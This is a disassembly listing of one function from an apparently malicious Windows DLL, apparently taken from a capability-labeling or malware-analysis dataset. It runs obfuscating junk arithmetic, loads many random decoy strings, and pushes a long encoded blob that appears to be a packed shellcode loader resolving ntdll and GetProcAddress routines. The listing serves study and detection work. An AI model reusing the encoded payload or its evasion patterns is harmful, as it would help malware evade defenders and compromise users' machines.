Function at 0x1000bcc0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20f4
call fcn.100129e0
push ebx
push esi
push edi
lea ecx, [ebp - 0xf0]
call fcn.100020f0
lea ecx, [ebp - 0x234]
call fcn.100020f0
lea ecx, [ebp - 0x68]
call fcn.100020f0
lea ecx, [ebp - 0x108]
call fcn.100020f0
lea ecx, [ebp - 0x50]
call fcn.10002130
lea ecx, [ebp - 0x210]
call fcn.10002130
mov ecx, 0x1005cdd8
call fcn.10005630
mov eax, dword [ebp + 0x10]
xor eax, dword [0x10036004]
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
push str.SKjx
lea ecx, [ebp - 0x264]
call fcn.10002060
mov dword [ebp - 0x204], eax
push 0
mov ecx, dword [ebp - 0x204]
call fcn.10008230
lea ecx, [ebp - 0x264]
call fcn.10002340
mov ecx, 0x1005cde4
call fcn.10005630
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
push 0x10027b64
lea ecx, [ebp - 0x27c]
call fcn.10002060
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub esi, eax
mov dword [ebp - 0x218], esi
mov edx, dword [0x10036048]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x214]
sub eax, dword [ebp - 0x218]
mov dword [0x10036048], eax
lea ecx, [ebp - 0x27c]
call fcn.10002340
push 0x2319
call fcn.10016ea9
add esp, 4
mov dword [ebp - 0x10c], eax
mov ecx, dword [0x10036034]
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x21c]
sub edx, dword [ebp - 0x10c]
mov dword [0x10036034], edx
mov ecx, 0x1005cbe0
call fcn.10005ae0
cmp eax, 0x72
jae 0x1000be64
push 0x1005cd30
push 0x1005cd30
push 0x1005cd78
push 0x1005cc40
lea eax, [ebp - 0x2c4]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x2ac]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea edx, [ebp - 0x294]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbe0
call fcn.10006720
lea ecx, [ebp - 0x294]
call fcn.10002340
lea ecx, [ebp - 0x2ac]
call fcn.10002340
lea ecx, [ebp - 0x2c4]
call fcn.10002340
mov eax, dword [0x10036034]
imul eax, dword [0x10036010]
test eax, eax
je 0x1000be82
lea ecx, [ebp - 0x50]
push ecx
mov ecx, 0x1005cde4
call fcn.10005b50
push 0x10027b6c
lea ecx, [ebp - 0x2dc]
call fcn.10002060
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
mov dword [ebp - 0x114], esi
mov edx, dword [section..data]
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x114]
mov dword [section..data], eax
lea ecx, [ebp - 0x2dc]
call fcn.10002340
push 0x10027b74
lea ecx, [ebp - 0x324]
call fcn.10002060
mov dword [ebp - 0x118], eax
push 0x4a
push 0
lea ecx, [ebp - 0x30c]
push ecx
mov ecx, dword [ebp - 0x118]
call fcn.10009040
mov dword [ebp - 0x11c], eax
push 0x28
push 0
lea edx, [ebp - 0x2f4]
push edx
mov ecx, dword [ebp - 0x11c]
call fcn.10009040
mov ecx, eax
call fcn.10005ae0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
add eax, dword [0x1003602c]
sub eax, dword [0x10036008]
xor eax, esi
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x2f4]
call fcn.10002340
lea ecx, [ebp - 0x30c]
call fcn.10002340
lea ecx, [ebp - 0x324]
call fcn.10002340
lea ecx, [ebp - 0x234]
call fcn.10005ae0
cmp eax, 0x78
jae 0x1000bfa4
push 0x1005cd30
push 0x1005cbf8
lea eax, [ebp - 0x33c]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x234]
call fcn.10006720
lea ecx, [ebp - 0x33c]
call fcn.10002340
push 0x1005ce20
mov ecx, 0x1005cdfc
call fcn.10006760
mov dword [ebp - 0xc], 0
jmp 0x1000bfc5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov ecx, 0x1005ce20
call fcn.10005b00
cmp dword [ebp - 0xc], eax
jae 0x1000c027
push str.DdgAYXnBooLsxbYcnVxpYlGWXPtLTYac
lea ecx, [ebp - 0x384]
call fcn.10002060
push str.rruDUFDiEpzicAsMJhMHhdDSBOxYfJmkncxJ
lea ecx, [ebp - 0x36c]
call fcn.10002060
push 0x10027bcc
lea ecx, [ebp - 0x354]
call fcn.10002060
lea ecx, [ebp - 0x354]
call fcn.10002340
lea ecx, [ebp - 0x36c]
call fcn.10002340
lea ecx, [ebp - 0x384]
call fcn.10002340
jmp 0x1000bfbc
lea edx, [ebp - 0x234]
push edx
push 0x1005cbe0
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000c0e9
mov ecx, 0x1005cbf8
call fcn.10005ae0
cmp eax, 0x4b
jae 0x1000c0e9
push 0x1005cd18
lea ecx, [ebp - 0x68]
push ecx
push 0x1005cda8
push 0x1005cd00
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x3e4]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x3cc]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea edx, [ebp - 0x3b4]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
lea eax, [ebp - 0x39c]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbf8
call fcn.10006720
lea ecx, [ebp - 0x39c]
call fcn.10002340
lea ecx, [ebp - 0x3b4]
call fcn.10002340
lea ecx, [ebp - 0x3cc]
call fcn.10002340
lea ecx, [ebp - 0x3e4]
call fcn.10002340
mov ecx, dword [0x1005c1c0]
push ecx
lea ecx, [ebp - 0x24c]
call fcn.10002060
lea edx, [ebp - 0x24c]
push edx
mov ecx, 0x1005cb68
call fcn.10004980
lea ecx, [ebp - 0x24c]
call fcn.10002340
mov ecx, 0x1005ccb8
call fcn.10005ae0
cmp eax, 0x90
jae 0x1000c177
push 0x1005cc28
push 0x1005cd90
push 0x1005cbf8
lea eax, [ebp - 0x414]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x3fc]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005ccb8
call fcn.10006720
lea ecx, [ebp - 0x3fc]
call fcn.10002340
lea ecx, [ebp - 0x414]
call fcn.10002340
push 0x1d36
call fcn.10016e79
add esp, 4
add eax, dword [ebp - 0x188]
mov dword [ebp - 0x124], eax
mov edx, dword [0x10036004]
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x120]
sub eax, dword [ebp - 0x124]
mov dword [0x10036004], eax
lea ecx, [ebp - 0x108]
push ecx
push 0x1005cd60
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000c1d4
mov dword [ebp - 0xd4], 1
jmp 0x1000c1de
mov dword [ebp - 0xd4], 0
mov eax, dword [section..data]
mov ecx, dword [ebp - 8]
sar eax, cl
cmp dword [ebp - 0xd4], eax
jg 0x1000c1fc
mov dword [ebp - 0xd8], 1
jmp 0x1000c206
mov dword [ebp - 0xd8], 0
mov edx, dword [0x10036038]
mov ecx, dword [0x10036004]
sar edx, cl
cmp dword [ebp - 0xd8], edx
jle 0x1000c47f
mov dword [ebp - 0x10], 0
jmp 0x1000c232
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x50]
call fcn.10005b00
cmp dword [ebp - 0x10], eax
jae 0x1000c47f
push 0x10027bd0
lea ecx, [ebp - 0x60c]
call fcn.10002060
push 0x10027bdc
lea ecx, [ebp - 0x5f4]
call fcn.10002060
push 0x10027c00
lea ecx, [ebp - 0x5dc]
call fcn.10002060
push 0x10027c24
lea ecx, [ebp - 0x5c4]
call fcn.10002060
push 0x10027c2c
lea ecx, [ebp - 0x5ac]
call fcn.10002060
push 0x10027c38
lea ecx, [ebp - 0x594]
call fcn.10002060
push 0x10027c40
lea ecx, [ebp - 0x57c]
call fcn.10002060
push 0x10027c68
lea ecx, [ebp - 0x564]
call fcn.10002060
push 0x10027c7c
lea ecx, [ebp - 0x54c]
call fcn.10002060
push 0x10027c8c
lea ecx, [ebp - 0x534]
call fcn.10002060
push 0x10027cb4
lea ecx, [ebp - 0x51c]
call fcn.10002060
push 0x10027cbc
lea ecx, [ebp - 0x504]
call fcn.10002060
push 0x10027cd8
lea ecx, [ebp - 0x4ec]
call fcn.10002060
push 0x10027ce0
lea ecx, [ebp - 0x4d4]
call fcn.10002060
push 0x10027ce8
lea ecx, [ebp - 0x4bc]
call fcn.10002060
push 0x10027d0c
lea ecx, [ebp - 0x4a4]
call fcn.10002060
push 0x10027d1c
lea ecx, [ebp - 0x48c]
call fcn.10002060
push 0x10027d38
lea ecx, [ebp - 0x474]
call fcn.10002060
push 0x10027d5c
lea ecx, [ebp - 0x45c]
call fcn.10002060
push 0x10027d70
lea ecx, [ebp - 0x444]
call fcn.10002060
push 0x10027d88
lea ecx, [ebp - 0x42c]
call fcn.10002060
lea ecx, [ebp - 0x42c]
call fcn.10002340
lea ecx, [ebp - 0x444]
call fcn.10002340
lea ecx, [ebp - 0x45c]
call fcn.10002340
lea ecx, [ebp - 0x474]
call fcn.10002340
lea ecx, [ebp - 0x48c]
call fcn.10002340
lea ecx, [ebp - 0x4a4]
call fcn.10002340
lea ecx, [ebp - 0x4bc]
call fcn.10002340
lea ecx, [ebp - 0x4d4]
call fcn.10002340
lea ecx, [ebp - 0x4ec]
call fcn.10002340
lea ecx, [ebp - 0x504]
call fcn.10002340
lea ecx, [ebp - 0x51c]
call fcn.10002340
lea ecx, [ebp - 0x534]
call fcn.10002340
lea ecx, [ebp - 0x54c]
call fcn.10002340
lea ecx, [ebp - 0x564]
call fcn.10002340
lea ecx, [ebp - 0x57c]
call fcn.10002340
lea ecx, [ebp - 0x594]
call fcn.10002340
lea ecx, [ebp - 0x5ac]
call fcn.10002340
lea ecx, [ebp - 0x5c4]
call fcn.10002340
lea ecx, [ebp - 0x5dc]
call fcn.10002340
lea ecx, [ebp - 0x5f4]
call fcn.10002340
lea ecx, [ebp - 0x60c]
call fcn.10002340
jmp 0x1000c229
push 0x1005cde4
mov ecx, 0x1005ce08
call fcn.10005b50
lea ecx, [ebp - 0xf0]
push ecx
push 0x1005cd18
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000c4b2
mov dword [ebp - 0x6c], 1
jmp 0x1000c4b9
mov dword [ebp - 0x6c], 0
mov eax, dword [0x10036044]
add eax, dword [0x1003603c]
cmp dword [ebp - 0x6c], eax
jge 0x1000c4d8
push 0x1005cdf0
mov ecx, 0x1005ce14
call fcn.10006760
push 0
mov ecx, 0x1005cc88
call fcn.10008230
mov ecx, 0x1005cd78
call fcn.10005ae0
cmp eax, 0xb6
jae 0x1000c568
push 0x1005ccd0
lea ecx, [ebp - 0x108]
push ecx
push 0x1005cc40
lea edx, [ebp - 0xf0]
push edx
lea eax, [ebp - 0x654]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x63c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea edx, [ebp - 0x624]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cd78
call fcn.10006720
lea ecx, [ebp - 0x624]
call fcn.10002340
lea ecx, [ebp - 0x63c]
call fcn.10002340
lea ecx, [ebp - 0x654]
call fcn.10002340
push 0x1005ce20
mov ecx, 0x1005cdfc
call fcn.10006760
mov dword [ebp - 0x14], 0
jmp 0x1000c589
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, 0x1005cdfc
call fcn.10005b00
cmp dword [ebp - 0x14], eax
jae 0x1000c829
push 0x10027d94
lea ecx, [ebp - 0x894]
call fcn.10002060
push 0x10027db4
lea ecx, [ebp - 0x87c]
call fcn.10002060
push 0x10027db8
lea ecx, [ebp - 0x864]
call fcn.10002060
push 0x10027de0
lea ecx, [ebp - 0x84c]
call fcn.10002060
push 0x10027e00
lea ecx, [ebp - 0x834]
call fcn.10002060
push 0x10027e24
lea ecx, [ebp - 0x81c]
call fcn.10002060
push 0x10027e40
lea ecx, [ebp - 0x804]
call fcn.10002060
push 0x10027e50
lea ecx, [ebp - 0x7ec]
call fcn.10002060
push 0x10027e70
lea ecx, [ebp - 0x7d4]
call fcn.10002060
push 0x10027e90
lea ecx, [ebp - 0x7bc]
call fcn.10002060
push 0x10027eb4
lea ecx, [ebp - 0x7a4]
call fcn.10002060
push 0x10027ed8
lea ecx, [ebp - 0x78c]
call fcn.10002060
push 0x10027ef4
lea ecx, [ebp - 0x774]
call fcn.10002060
push 0x10027f0c
lea ecx, [ebp - 0x75c]
call fcn.10002060
push 0x10027f20
lea ecx, [ebp - 0x744]
call fcn.10002060
push 0x10027f2c
lea ecx, [ebp - 0x72c]
call fcn.10002060
push 0x10027f38
lea ecx, [ebp - 0x714]
call fcn.10002060
push 0x10027f5c
lea ecx, [ebp - 0x6fc]
call fcn.10002060
push 0x10027f78
lea ecx, [ebp - 0x6e4]
call fcn.10002060
push 0x10027fa0
lea ecx, [ebp - 0x6cc]
call fcn.10002060
push 0x10027fb0
lea ecx, [ebp - 0x6b4]
call fcn.10002060
push 0x10027fc4
lea ecx, [ebp - 0x69c]
call fcn.10002060
push 0x10027fec
lea ecx, [ebp - 0x684]
call fcn.10002060
push 0x10028008
lea ecx, [ebp - 0x66c]
call fcn.10002060
lea ecx, [ebp - 0x66c]
call fcn.10002340
lea ecx, [ebp - 0x684]
call fcn.10002340
lea ecx, [ebp - 0x69c]
call fcn.10002340
lea ecx, [ebp - 0x6b4]
call fcn.10002340
lea ecx, [ebp - 0x6cc]
call fcn.10002340
lea ecx, [ebp - 0x6e4]
call fcn.10002340
lea ecx, [ebp - 0x6fc]
call fcn.10002340
lea ecx, [ebp - 0x714]
call fcn.10002340
lea ecx, [ebp - 0x72c]
call fcn.10002340
lea ecx, [ebp - 0x744]
call fcn.10002340
lea ecx, [ebp - 0x75c]
call fcn.10002340
lea ecx, [ebp - 0x774]
call fcn.10002340
lea ecx, [ebp - 0x78c]
call fcn.10002340
lea ecx, [ebp - 0x7a4]
call fcn.10002340
lea ecx, [ebp - 0x7bc]
call fcn.10002340
lea ecx, [ebp - 0x7d4]
call fcn.10002340
lea ecx, [ebp - 0x7ec]
call fcn.10002340
lea ecx, [ebp - 0x804]
call fcn.10002340
lea ecx, [ebp - 0x81c]
call fcn.10002340
lea ecx, [ebp - 0x834]
call fcn.10002340
lea ecx, [ebp - 0x84c]
call fcn.10002340
lea ecx, [ebp - 0x864]
call fcn.10002340
lea ecx, [ebp - 0x87c]
call fcn.10002340
lea ecx, [ebp - 0x894]
call fcn.10002340
jmp 0x1000c580
mov ecx, dword [0x1003604c]
xor ecx, dword [0x10036034]
je 0x1000c841
push 0
lea ecx, [ebp - 0x68]
call fcn.10008230
push 0x1005ce14
mov ecx, 0x1005cdfc
call fcn.10006760
lea edx, [ebp - 0x108]
push edx
push 0x1005cd60
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000c874
mov dword [ebp - 0x70], 1
jmp 0x1000c87b
mov dword [ebp - 0x70], 0
mov edx, dword [section..data]
mov ecx, dword [ebp - 8]
sar edx, cl
cmp dword [ebp - 0x70], edx
jg 0x1000c894
mov dword [ebp - 0x74], 1
jmp 0x1000c89b
mov dword [ebp - 0x74], 0
mov eax, dword [0x10036038]
mov ecx, dword [0x10036004]
sar eax, cl
cmp dword [ebp - 0x74], eax
jle 0x1000cb10
mov dword [ebp - 0x18], 0
jmp 0x1000c8c3
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x50]
call fcn.10005b00
cmp dword [ebp - 0x18], eax
jae 0x1000cb10
push str.InViirviL
lea ecx, [ebp - 0xa8c]
call fcn.10002060
push str.jSQGVPQaHFnqSqCvWLKvfTcNyRLRDGDQs
lea ecx, [ebp - 0xa74]
call fcn.10002060
push str.nJOWHITcUzHRUhRQMDTWlFoziaNgVrHVsC
lea ecx, [ebp - 0xa5c]
call fcn.10002060
push str.imndYn
lea ecx, [ebp - 0xa44]
call fcn.10002060
push str.OieAWjSutbd
lea ecx, [ebp - 0xa2c]
call fcn.10002060
push str.DJFkP
lea ecx, [ebp - 0xa14]
call fcn.10002060
push str.rhhDxeaHEOqEGNNpcYsCdMSsjcafwNsmUxjm
lea ecx, [ebp - 0x9fc]
call fcn.10002060
push str.GmNdgZeQnkZbycikld
lea ecx, [ebp - 0x9e4]
call fcn.10002060
push str.KriGFmxOugmHyx
lea ecx, [ebp - 0x9cc]
call fcn.10002060
push str.DcUgHOjmxBqcmhaJolUxgYrsctapQlJDLxoxdp
lea ecx, [ebp - 0x9b4]
call fcn.10002060
push str.IvJwNC
lea ecx, [ebp - 0x99c]
call fcn.10002060
push str.nGjaaAPsafVdKtxcuocdjQlfiS
lea ecx, [ebp - 0x984]
call fcn.10002060
push str.xDqQSj
lea ecx, [ebp - 0x96c]
call fcn.10002060
push str.NECaZU
lea ecx, [ebp - 0x954]
call fcn.10002060
push str.UgvJKwtrOIjDtsSeTMzixSedxUfmErJfJtd
lea ecx, [ebp - 0x93c]
call fcn.10002060
push str.sRtPhjWGHwHNub
lea ecx, [ebp - 0x924]
call fcn.10002060
push str.cmIBSGZNPCSqzoSuxamYTEdW
lea ecx, [ebp - 0x90c]
call fcn.10002060
push str.ZKslsDwrpanLaDUWpYcMuCRlAOgEFGXsdz
lea ecx, [ebp - 0x8f4]
call fcn.10002060
push str.MERSNvnvKVVXlNSysar
lea ecx, [ebp - 0x8dc]
call fcn.10002060
push str.RsVmFCHIHzhJVySVkYBbG
lea ecx, [ebp - 0x8c4]
call fcn.10002060
push str.bcRREHZRrk
lea ecx, [ebp - 0x8ac]
call fcn.10002060
lea ecx, [ebp - 0x8ac]
call fcn.10002340
lea ecx, [ebp - 0x8c4]
call fcn.10002340
lea ecx, [ebp - 0x8dc]
call fcn.10002340
lea ecx, [ebp - 0x8f4]
call fcn.10002340
lea ecx, [ebp - 0x90c]
call fcn.10002340
lea ecx, [ebp - 0x924]
call fcn.10002340
lea ecx, [ebp - 0x93c]
call fcn.10002340
lea ecx, [ebp - 0x954]
call fcn.10002340
lea ecx, [ebp - 0x96c]
call fcn.10002340
lea ecx, [ebp - 0x984]
call fcn.10002340
lea ecx, [ebp - 0x99c]
call fcn.10002340
lea ecx, [ebp - 0x9b4]
call fcn.10002340
lea ecx, [ebp - 0x9cc]
call fcn.10002340
lea ecx, [ebp - 0x9e4]
call fcn.10002340
lea ecx, [ebp - 0x9fc]
call fcn.10002340
lea ecx, [ebp - 0xa14]
call fcn.10002340
lea ecx, [ebp - 0xa2c]
call fcn.10002340
lea ecx, [ebp - 0xa44]
call fcn.10002340
lea ecx, [ebp - 0xa5c]
call fcn.10002340
lea ecx, [ebp - 0xa74]
call fcn.10002340
lea ecx, [ebp - 0xa8c]
call fcn.10002340
jmp 0x1000c8ba
lea ecx, [ebp - 0x210]
call fcn.10005630
push 0x1005cda8
push 0x1005cd48
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000cb3d
mov dword [ebp - 0x78], 1
jmp 0x1000cb44
mov dword [ebp - 0x78], 0
push 0x1005cc58
push 0x1005cc28
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000cb66
mov dword [ebp - 0x7c], 1
jmp 0x1000cb6d
mov dword [ebp - 0x7c], 0
mov ecx, dword [ebp - 0x78]
cmp ecx, dword [ebp - 0x7c]
jl 0x1000cbd3
mov ecx, 0x1005cc88
call fcn.10005ae0
cmp eax, 0x6d
jae 0x1000cbd3
push 0x1005cc58
push 0x1005cc28
push 0x1005cda8
lea edx, [ebp - 0xabc]
push edx
call fcn.10004600
add esp, 0xc
push eax
lea eax, [ebp - 0xaa4]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cc88
call fcn.10006720
lea ecx, [ebp - 0xaa4]
call fcn.10002340
lea ecx, [ebp - 0xabc]
call fcn.10002340
mov ecx, 0x1005cbf8
call fcn.10005ae0
cmp eax, 0x87
jae 0x1000cc33
push 0x1005cd90
push 0x1005cd30
push 0x1005cc28
lea ecx, [ebp - 0xaec]
push ecx
call fcn.10004600
add esp, 0xc
push eax
lea edx, [ebp - 0xad4]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbf8
call fcn.10006720
lea ecx, [ebp - 0xad4]
call fcn.10002340
lea ecx, [ebp - 0xaec]
call fcn.10002340
push 0x1005c1bc
mov eax, dword [0x1005cb5c]
push eax
lea ecx, [ebp - 0xb04]
push ecx
call fcn.10003210
add esp, 8
push eax
push str.VYvsgcRA____U1FSV1aJtUT___JjUD____pgQAAAAAAAAAAAAAAAAAAAAAAAAB5tQEAAHgCAAEAAAADAAAAP4yjP7fAmdVHZXRQcm9jQWRkcmVzcwBMZHJHZXRQcm9jZWR1cmVBZGRyZXNzRXgATnRRdWVyeVZpcnR1YWxNZW1vcnkARGxsUmVnaXN0ZXJTZXJ2ZXIAbnRkbGwuZGxsAOgAAAAAj0X0gW30neVJAMeFXP________9Si1X0i4In5UkAWlCPhVD___9Si1X0i4Ir5UkAWlCPhVT___9Si1X0i4Iv5UkAWlCPhUz___9Si1X0i4Iz5UkAWlCPhUj___LRRCDP91IGShMAAAAItADI1ADIsAi0AYx4VY____AAAAAIlF_OsQx4VY____AQAAAP91CI9F_IuNUP___1KLVfSNmoj4SQBaUVPoDBIAAFKLVfSLijflSQBaO8F0AcxSi1X0jYqIEkAWlKLVfSNghH4SQBa_7VQ____Uf_QagT_tVT____okQsAAIlFhGoE_7VU____6IELAACJRYD_dYCNhVT___9Q_3WE_7VQ____UotV9I2CiPhJAFpQ6NwBAACDxBSLjVT___LXYRRUiGEQAAUotV9IuKOVJAFo7wXQBzP1VP____91gOiICwAAg71M____AXQJg71M____AnUni3WEA3Y8g71M____AnUIi5VU____6wOLVlBqQFLo9QoAAIlFOs2g71M____A3QJg71M____AHUki038A0k8i0lQ_3X8akBR_3X86HsLAAD_dfyPRfiLffwywPOqg71M____AnUci334i3WEi41U____86SLRfj_0F5fWllbycIMAP91P91hOhCBgAA_7VU_____3WE6NsKAAD_dfjozwgAAP91OhGCAAA_3X4_3X86EgFAAD_dfj_dfz_tVj____oyAcAAFKLVfRoSxQJKGggMC1tjYJS8UkA_9Ba_9CL8OtkrYv4gf90MzJjdVaD7gRSi1X0aABHfgBoIDAtbY2CUvFJAP_QWlZqAGoC_9CL2FKLVfRoJTEaAGggMC1tjYJS8UkA_9BaU__QUotV9GhsI2VlaCAwLW2NglLxSQD_0FrrCIPuA4AAHWXi0X4A0A8i9CLUCiLRfgD0IO9WP___wB0GYu1RP___4uNQP____91EP91DP91P_S6w6LtUT___LjUD_____0otFF5fWllbycIMAFVXVlNRUoPsDPyLdCQoi3wkML0DAAAAkDHAigZGPCBzDwjAdDOJwfOkigZGPCBySDxAcl2JwSQfjVf_wekFKcKKBkbB4AUpwkGH8vOkidbrx420JgAAAACKBkaNSCA8HLFuRgBAAAsHQGkTDA0CR86Tro412AI1X_ynCigZGweAFKcKH8qSkpInWpDHA65gkH4nBdROxH4oGRgjAdQiBwf8AAADr8QHBigZGicMkP4n6KcKKBkbB4AYpwjn6dBuH1o1JA_OkidYxwMHrBonZD4VQ____6Tz___DQEPlcCLVCQoA1QkLDnWdyZyHSt8JDCLVCQ0iTr32IPEDFpZW15fXcO4AQAAAOvjuAgAAADr3LgEAAAA69WQjXQmAGDoAAAAAF2B7b7pSQAzyTPAM9uZrIrIPA90D2aBfv_NIHUKRq3pAQEAAKzxNHoioQopJAHIDwegEgAPk4D7DgE8gAAAID7D3RLC9sPhNYAAAAPuvMAclsPuvMBD4LAAAAAD7rzAgCtQAAAIDj94D5oHITgPmjdw72xQIPhZ8AAADpmAAAAPbFAQEjwAAAOmMAAAAgPlmdBGAWcPhWn___AzQLpYf___4DNAelZ____rID593QFgPn2dRKoOHUO9sEBdAj2xQF1AkZGRkaL0CQH9sLAdBMPil3___94MvbFAnU8PAR0Ns29sUCdAk8BnQs6UL___88BHUMrCQHPAV0Guky____PAV0Eekp____9sUCdQk8BHQC6wFGRkZGRukU____K3QkBIPD3cGiXQkHOsHM8BIiUQkHGHDEREoABERKAARESgAEREoABERKPARESjwEREo8BERKPAAAAAAAAAAAAAAAAAAAAAAABH__4kjAAAiIiIiIiIiIjkzERERERERAAAAAADAAACIiAAAKAAAACIiIiKIiIiIM0AROWBAAgARESIAERERESIiIiKIwgAA8P8AEQAAABEREeAAAO7hAxEREREe7u7uEREeHhEREREAAADu7u7u7hERERERERERERERERERERERERERERERETMzERARERERiIiIiIiIiIgREREREREREQABMREAATEREREREe4xERERMTMxAAAAAOERERERERERERERERERERHhERERERERHlFWM8mLdCQMrITAdANB6_iLwV5ZwgQAUVYzyYt0JAxmrWaFwHQFg8EC6_SLwV5ZwgQAUFdWi3wkFIt0JBCsPEB8BjxbfwIEIKqEwHXwXl9YwggAUFdWi3wkFIt0JBBmrTxAfAY8W38CBCBmq2aFwHXtXl9YwggAUVdWi3wkEIt0JBRX6Hj___LyPOmD5TAXl9ZwggAUVdWi3wkEIt0JBRX6HH___LyPOmD5TAXl9ZwggAV4t8JAyLVCQIxwIAAAAAiXoEC_90HoPJ_zPA8q730YH5__8AAHYFuf__AABmiUoCSWaJCl_CCABSVovwM9KshMB0BzLQwcII6_SLwl5aw1WL7IPE7FNRUldW6AAAAACPRfyBbfwN7UkAi1UMi_IDUjyNcniLTkyFyQEmAAAAIt2SIX2D4SNAAAAA3UMiXX0i04EKw6JTfhSi1X8aE9WcWRoIDAtbY2CUvFJAP_QWmoEaAAwAAD_dfhqAP_QiUXwVos2i33wi03486ReUotV_GgPTU8NaCAwLW2NglLxSQD_0FpokAEAAGpA_9CJReyLRez_dfCPAGSjLAAAAIt19It2DIX2dBCthcB0C2BqAGoBUv_QYevwXl9aWVvJwggAVYvsg8T8U1FSV1boAAAAAI9F_IFt_N7tSQCLVQiL8gNSPA3ShSNXBEYU4tKVIt9DPOkD7dKBl6LfQwDfgxRi04QVot2FAN1CPOkXlmDxiji5l5fWllbycIIAFWL7IPEFNRUldW6AAAAACPRfyBbfw57kkAUotV_GgWaU8IaFpuAACNglLxSQD_0FqFwHQvUotV_I2KIVJAFqJAVKLVfyNgiPlSQBaiUX4_3X4UotV_I2CMPVJAFpQ6BEIAABSi1X8aE5KY3doWm4AAI2CUvFJAP_QWoXAdD9Si1X8jYoX5UkAWokBUotV_I2CFVJAFqJRfj_dfhSi1X8jYLC9EkAWlDoxwcAAFKLVfyNiiz1SQBai0UIiQGDfQwBD4WUAAAAUotV_GgkDRUWaFpuAACNglLxSQD_0FqFwHQvUotV_I2KGVJAFqJAVKLVfyNghvlSQBaiUX4_3X4UotV_I2CJvNJAFpQ6GMHAABSi1X8aHYFMDpoWm4AAI2CUvFJAP_QWoXAdC9Si1X8jYof5UkAWokBUotV_I2CHVJAFqJRfj_dfhSi1X8jYKa9EkAWlDoGQcAAF5fWllbycIIAFWL7IPE_FNRUldW6AAAAACPRfyBbfye70kAi0UQO0UMdDeDfQgAdTFkixUwAAAAUI9CCItdEANbPGShMAAAAItADI1ADIsAi1AYhdJ0CytVDHXyi1UQA1MoXl9aWVvJwgwAVYvsg8T8U1FSV1boAAAAAI9F_IFt_ADwSQCLXQgDWzyLUzQrVQh0UI1zeIt2KIX2dEaLe1CNQ3iLQCyFwHQ5A3UI6yti9itggIi8g733Mg6xczwGathcB0DCX_DwAAA0UIA8MpEIPpAoP5AHfk6wID8YMAHXMXl9aWVvJwgQAVYvsg8ToU1FSV1boAAAAAI9F_IFt_IHwSQBSi1X8aCkOBSVoIDAtbY2CUvFJAP_QWolF8FKLVfxoYVd6dGggMC1tjYJS8UkA_9BaiUXsUotV_GhlHSJ0aCAwLW2NglLxSQD_0FqJReiLXQgDWzyNQ3iLUAiLSAyF0nRdhcl0WYvyA3UI60yL
mov ecx, 0x1005cb68
call fcn.100056a0
mov dword [0x1005cb60], eax
lea ecx, [ebp - 0xb04]
call fcn.10002340
push 0x10028208
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add eax, dword [0x1003603c]
mov dword [ebp - 0x12c], eax
mov edx, dword [0x10036020]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x128]
add eax, dword [ebp - 0x12c]
mov dword [0x10036020], eax
mov ecx, 0x1005ccd0
call fcn.10005ae0
cmp eax, 0x34
jae 0x1000cd21
push 0x1005cc70
lea ecx, [ebp - 0xf0]
push ecx
push 0x1005cd78
push 0x1005cd18
lea edx, [ebp - 0xb4c]
push edx
call fcn.10004600
add esp, 0xc
push eax
lea eax, [ebp - 0xb34]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
lea ecx, [ebp - 0xb1c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005ccd0
call fcn.10006720
lea ecx, [ebp - 0xb1c]
call fcn.10002340
lea ecx, [ebp - 0xb34]
call fcn.10002340
lea ecx, [ebp - 0xb4c]
call fcn.10002340
mov dword [ebp - 0x1c], 0
jmp 0x1000cd33
